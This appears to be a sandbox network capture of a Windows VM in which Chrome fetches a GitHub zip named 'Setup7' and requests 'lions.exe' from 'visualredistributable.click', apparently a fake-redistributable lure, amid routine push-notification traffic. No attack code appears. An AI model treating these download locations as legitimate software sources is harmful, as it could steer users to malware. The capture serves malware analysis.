538b7498b2e18c86<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAf/U8FE6SwIqeTVhCcrNRCAPL3ZSuRSsVLcZ6+yAzOC/ZMP0HBYNNnqyvLLwXrr4viLfwtocioIhwEGD9/QQr6NXnWUyK1JEhLmcymBw/hgwBP
2024-04-05 18:10:36 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 54 43 2b 66 31 44 44 5a 59 55 61 65 48 4c 66 5a 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 33 38 62 37 34 39 38 62 32 65 31 38 63 38 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: TC+f1DDZYUaeHLfZ.3Context: 538b7498b2e18c86<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-04-05 18:10:36 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-04-05 18:10:36 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 6f 71 4a 2b 73 38 43 56 42 30 4f 78 74 6f 46 74 77 4d 6e 6f 55 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: oqJ+s8CVB0OxtoFtwMnoUw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49732	140.82.113.3	443	6976	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-05 18:10:37 UTC	679	OUT	GET /softofdaddy/Setup7/archive/refs/heads/main.zip HTTP/1.1 Host: github.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-05 18:10:37 UTC	526	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Fri, 05 Apr 2024 18:08:44 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Location: https://codeload.github.com/softofdaddy/Setup7/zip/refs/heads/main Cache-Control: max-age=0, private Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-04-05 18:10:37 UTC	2948	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f 6d 20 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 20 61 70 69 2e 67 69 74 68 75 62 2e Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49734	140.82.114.10	443	6976	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-05 18:10:38 UTC	763	OUT	GET /softofdaddy/Setup7/zip/refs/heads/main HTTP/1.1 Host: codeload.github.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: "a05dd27fea7d46b83caf534e1134f8192f92baec2577b7e2f5b13388a56c9cd9"
2024-04-05 18:10:38 UTC	587	IN	HTTP/1.1 304 Not Modified Access-Control-Allow-Origin: https://render.githubusercontent.com Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox cross-origin-resource-policy: cross-origin ETag: "a05dd27fea7d46b83caf534e1134f8192f92baec2577b7e2f5b13388a56c9cd9" Strict-Transport-Security: max-age=31536000 Vary: Authorization,Accept-Encoding,Origin X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block Date: Fri, 05 Apr 2024 18:10:38 GMT X-GitHub-Request-Id: AC96:12FBC2:E29FEF:173147D:66103E9E connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49738	20.25.241.18	443

Timestamp	Bytes transferred	Direction	Data
2024-04-05 18:10:47 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 7a 36 48 4f 61 38 77 41 4f 55 4b 70 76 4f 61 74 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 35 33 63 62 30 33 66 33 38 32 39 62 36 37 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: z6HOa8wAOUKpvOat.1Context: 353cb03f3829b673
2024-04-05 18:10:47 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-04-05 18:10:47 UTC	1076	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 35 33 0d 0a 4d 53 2d 43 56 3a 20 7a 36 48 4f 61 38 77 41 4f 55 4b 70 76 4f 61 74 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 35 33 63 62 30 33 66 33 38 32 39 62 36 37 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 2f 55 38 46 45 36 53 77 49 71 65 54 56 68 43 63 72 4e 52 43 41 50 4c 33 5a 53 75 52 53 73 56 4c 63 5a 36 2b 79 41 7a 4f 43 2f 5a 4d 50 30 48 42 59 4e 4e 6e 71 79 76 4c 4c 77 58 72 72 34 76 69 4c 66 77 74 6f 63 69 6f 49 68 77 45 47 44 39 2f 51 51 72 36 4e 58 6e 57 55 79 4b 31 4a 45 68 4c 6d 63 79 6d 42 77 2f 68 67 77 42 50 Data Ascii: ATH 2 CON\DEVICE 1053MS-CV: z6HOa8wAOUKpvOat.2Context: 353cb03f3829b673<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAf/U8FE6SwIqeTVhCcrNRCAPL3ZSuRSsVLcZ6+yAzOC/ZMP0HBYNNnqyvLLwXrr4viLfwtocioIhwEGD9/QQr6NXnWUyK1JEhLmcymBw/hgwBP
2024-04-05 18:10:47 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 7a 36 48 4f 61 38 77 41 4f 55 4b 70 76 4f 61 74 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 35 33 63 62 30 33 66 33 38 32 39 62 36 37 33 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: z6HOa8wAOUKpvOat.3Context: 353cb03f3829b673<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-04-05 18:10:47 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-04-05 18:10:47 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 6d 51 46 32 43 63 64 4a 6a 30 71 4c 63 70 37 57 2f 32 4c 45 52 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: mQF2CcdJj0qLcp7W/2LERA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49739	20.25.241.18	443

Timestamp	Bytes transferred	Direction	Data
2024-04-05 18:11:05 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 71 4b 66 58 42 6a 75 33 36 55 6d 55 6b 69 64 72 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 66 63 31 61 39 35 32 62 38 64 33 31 33 63 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: qKfXBju36UmUkidr.1Context: dfc1a952b8d313c0
2024-04-05 18:11:05 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-04-05 18:11:05 UTC	1076	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 35 33 0d 0a 4d 53 2d 43 56 3a 20 71 4b 66 58 42 6a 75 33 36 55 6d 55 6b 69 64 72 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 66 63 31 61 39 35 32 62 38 64 33 31 33 63 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 2f 55 38 46 45 36 53 77 49 71 65 54 56 68 43 63 72 4e 52 43 41 50 4c 33 5a 53 75 52 53 73 56 4c 63 5a 36 2b 79 41 7a 4f 43 2f 5a 4d 50 30 48 42 59 4e 4e 6e 71 79 76 4c 4c 77 58 72 72 34 76 69 4c 66 77 74 6f 63 69 6f 49 68 77 45 47 44 39 2f 51 51 72 36 4e 58 6e 57 55 79 4b 31 4a 45 68 4c 6d 63 79 6d 42 77 2f 68 67 77 42 50 Data Ascii: ATH 2 CON\DEVICE 1053MS-CV: qKfXBju36UmUkidr.2Context: dfc1a952b8d313c0<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAf/U8FE6SwIqeTVhCcrNRCAPL3ZSuRSsVLcZ6+yAzOC/ZMP0HBYNNnqyvLLwXrr4viLfwtocioIhwEGD9/QQr6NXnWUyK1JEhLmcymBw/hgwBP
2024-04-05 18:11:05 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 71 4b 66 58 42 6a 75 33 36 55 6d 55 6b 69 64 72 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 66 63 31 61 39 35 32 62 38 64 33 31 33 63 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: qKfXBju36UmUkidr.3Context: dfc1a952b8d313c0<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-04-05 18:11:05 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-04-05 18:11:05 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 6c 31 61 7a 69 46 47 74 63 30 4b 6e 46 72 6a 6e 49 71 54 41 34 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: l1aziFGtc0KnFrjnIqTA4A.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49740	104.21.35.10	443	6976	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-05 18:11:07 UTC	659	OUT	GET /lions.exe HTTP/1.1 Host: visualredistributable.click Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-05 18:11:08 UTC	708	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Apr 2024 18:11:08 GMT Content-Length: 0 Connection: close access-control-allow-origin: * vary: origin vary: access-control-request-method vary: access-control-request-headers Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 49 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=om2lbIfwWTcEwm8op1rQcBZzZMoBhAGhuOzQESliNOo38ZmPV8T4wykblSF0wsFb0T%2B0W3%2FddE%2B3ODZJJwK%2B63nLT88l5YlJzcqyK3b4S83uNEiKM%2BwuFNAEL6O0KG8fhymhjscd6fxjZebgYTs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86fb7fb7790da51c-MIA alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49742	35.190.80.1	443	6976	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-05 18:11:08 UTC	568	OUT	OPTIONS /report/v4?s=om2lbIfwWTcEwm8op1rQcBZzZMoBhAGhuOzQESliNOo38ZmPV8T4wykblSF0wsFb0T%2B0W3%2FddE%2B3ODZJJwK%2B63nLT88l5YlJzcqyK3b4S83uNEiKM%2BwuFNAEL6O0KG8fhymhjscd6fxjZebgYTs%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://visualredistributable.click Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-05 18:11:09 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Fri, 05 Apr 2024 18:11:08 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49743	35.190.80.1	443	6976	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-05 18:11:09 UTC	498	OUT	POST /report/v4?s=om2lbIfwWTcEwm8op1rQcBZzZMoBhAGhuOzQESliNOo38ZmPV8T4wykblSF0wsFb0T%2B0W3%2FddE%2B3ODZJJwK%2B63nLT88l5YlJzcqyK3b4S83uNEiKM%2BwuFNAEL6O0KG8fhymhjscd6fxjZebgYTs%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 405 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-05 18:11:09 UTC	405	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 37 36 35 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 33 35 2e 31 30 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 76 69 73 75 61 6c 72 65 64 69 73 74 72 69 62 75 74 Data Ascii: [{"age":0,"body":{"elapsed_time":765,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.35.10","status_code":404,"type":"http.error"},"type":"network-error","url":"https://visualredistribut
2024-04-05 18:11:09 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Fri, 05 Apr 2024 18:11:09 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49748	20.25.241.18	443

Timestamp	Bytes transferred	Direction	Data
2024-04-05 18:11:26 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 41 65 52 46 59 6d 61 7a 70 45 65 69 42 75 56 2b 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 39 39 63 34 37 33 30 35 32 36 32 61 63 30 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: AeRFYmazpEeiBuV+.1Context: 399c47305262ac04
2024-04-05 18:11:26 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-04-05 18:11:26 UTC	1076	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 35 33 0d 0a 4d 53 2d 43 56 3a 20 41 65 52 46 59 6d 61 7a 70 45 65 69 42 75 56 2b 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 39 39 63 34 37 33 30 35 32 36 32 61 63 30 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 2f 55 38 46 45 36 53 77 49 71 65 54 56 68 43 63 72 4e 52 43 41 50 4c 33 5a 53 75 52 53 73 56 4c 63 5a 36 2b 79 41 7a 4f 43 2f 5a 4d 50 30 48 42 59 4e 4e 6e 71 79 76 4c 4c 77 58 72 72 34 76 69 4c 66 77 74 6f 63 69 6f 49 68 77 45 47 44 39 2f 51 51 72 36 4e 58 6e 57 55 79 4b 31 4a 45 68 4c 6d 63 79 6d 42 77 2f 68 67 77 42 50 Data Ascii: ATH 2 CON\DEVICE 1053MS-CV: AeRFYmazpEeiBuV+.2Context: 399c47305262ac04<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAf/U8FE6SwIqeTVhCcrNRCAPL3ZSuRSsVLcZ6+yAzOC/ZMP0HBYNNnqyvLLwXrr4viLfwtocioIhwEGD9/QQr6NXnWUyK1JEhLmcymBw/hgwBP
2024-04-05 18:11:26 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 41 65 52 46 59 6d 61 7a 70 45 65 69 42 75 56 2b 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 39 39 63 34 37 33 30 35 32 36 32 61 63 30 34 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: AeRFYmazpEeiBuV+.3Context: 399c47305262ac04<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-04-05 18:11:26 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
